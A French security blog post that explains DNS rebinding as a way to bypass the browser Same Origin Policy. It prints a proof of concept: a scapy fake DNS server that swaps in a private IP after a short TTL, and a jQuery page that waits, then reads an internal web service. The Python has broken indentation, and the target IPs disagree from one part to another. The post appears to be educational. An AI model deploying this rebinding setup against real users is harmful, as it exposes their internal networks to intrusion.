L'attaque par DNS rebinding

En faisait ma veille de sécurité quotidienne je suis tombé sur un article de 01net. Cet article expliquait que µTorrent était victime de failles permettant à l’attaquant d’exécuter du code à distance.

L’attaque reposait sur une technique dénommé : DNS Rebinding.

Un titre plutôt évocateur mais ne connaissant pas la technique j’ai essayé de me renseigner avant de décider de créer un PoC !

DNS rebinding ou comment bypass la SOP

Une des protection des navigateurs web contre les scripts douteux est la Same Origin Policy (SOP).

Elle permet de restreindre l’accès à des ressources externes depuis l’execution d’un script JS par exemple. Il sera impossible à un script chargé depuis une certaine orgine de faire une requête AJAX vers un document d’une autre origine.

L’origin est définie par 3 données :

  • le protocole : http / https

  • le domaine : 0xswitch.fr

  • le port : 80 / 443

Une ressource est d’une origine différente si une de ces 3 données ne correspond pas, ainsi un script chargé depuis https://0xswitch.fr:443/ ne peut pas accèder à :

MAIS il peut très bien accèder à https://0xswitch.fr.

Logique au premier abord sauf que les entrées DNS ne sont pas statiques à un moment X 0xswitch.fr peut valoir 217.182.206.64mais quelques minutes plus tard posséder une valeur complétement différente, genre : 192.168.1.1.

Du point de vu de la SOP rien n’a changé les 3 données sont identiques cependant au moment ou le script sera exécuté, il faire une requête vers 192.168.1.52 et non pas 217.182.206.64 !

Il faut juste veiller que le TTL soit très bas afin que l’enregistrement DNS reste caché suffisamment peu de temps pour que le navigateur ai besoin de refaire une requête DNS.

Pour cela on met le TTL de la première réponse DNS vers 20 s et on demande au script d’attendre environ 30 secondes avant de s’exécuter afin de s’assurer que le cache ne contienne aucune association.

Here come da proof of concept

Le but va d’être d’extraire une donnée aléatoire d’un service web herbergé sur 10.8.0.1 depuis un script chargé via la pagehttps://0xswitch.fr/dns_rebind_poc.html

Pour ce PoC, je vais simuler le serveur en le déployant localement mais ça aurait également pu être le serveur DNS qui fait autorité sur 0xswitch.fr

Le script faisant office de dns

import time

from scapy.all import *
from socket import *
from struct import unpack
from sys import exit

s = socket(AF_INET,SOCK_DGRAM)
s.bind(("", 53))
print "[+] Listening"

IP_0xswitch = "217.182.206.64"
first = 0

while True:

    data, client = s.recvfrom(1024)
    ip, port = client
    domain = data[13:].split("\x00")[0].replace("\x02", ".")

    if domain == "0xswitch.fr":
        if first == 0:
            first = time.time()

        if time.time() - first >= 10:
                  IP_0xswitch = "192.168.1.1"

        ID = data[:2]
        ID = unpack(">H",ID)[0]

   print ID
     rep = IP(dst=ip) / UDP(dport=port, sport=53) / DNS(id=ID, ancount=1, qr=1, qdcount=1, aa=1,  qd=DNSQR(qname="0xswitch.fr", qtype=1, qclass=1), an=DNSRR(rrname="0xswitch.fr", type=1, ttl=10,  rdata=IP_0xswitch))
        
        send(rep)

Le script JS

<html>
<head>
    <meta charset="UTF-8">
    <title>DNS rebind poc</title>
    <script src="http://0xswitch.fr/jquery.js"></script>
</head>
<body>
    <h1>DNS binding POC</h1>
    <script>

        $(document).ready(function(){
            
            function landing()
            {
                console.log("[+] User landed")
                setTimeout(makequerygreatagain, 25000); 
            }

            function makequerygreatagain()
            {
                console.log("Here we go");
                $.get("/dns_poc.php", function(data){
                    alert(data);
                });
            }

            landing();
        });
        
    </script>
</body>
</html>

Et le résultat en gif (environ 40 secondes et n’hésitez pas à cliquer dessus pour zoomer)

Voilà comment il est possible d’accéder à d’autres ressources depuis une simple page web avec un script JS. L’attaque a été réalisée depuis une des dernières versions de Mozilla, rien n’a pu empécher l’exécution de la deuxième requête.

Mon PoC a échouché sous linux je n’ai pas encore compris pourquoi mais il me semble que c’est causé par l’absence de cache DNS au niveau de l’OS. A vérifier ..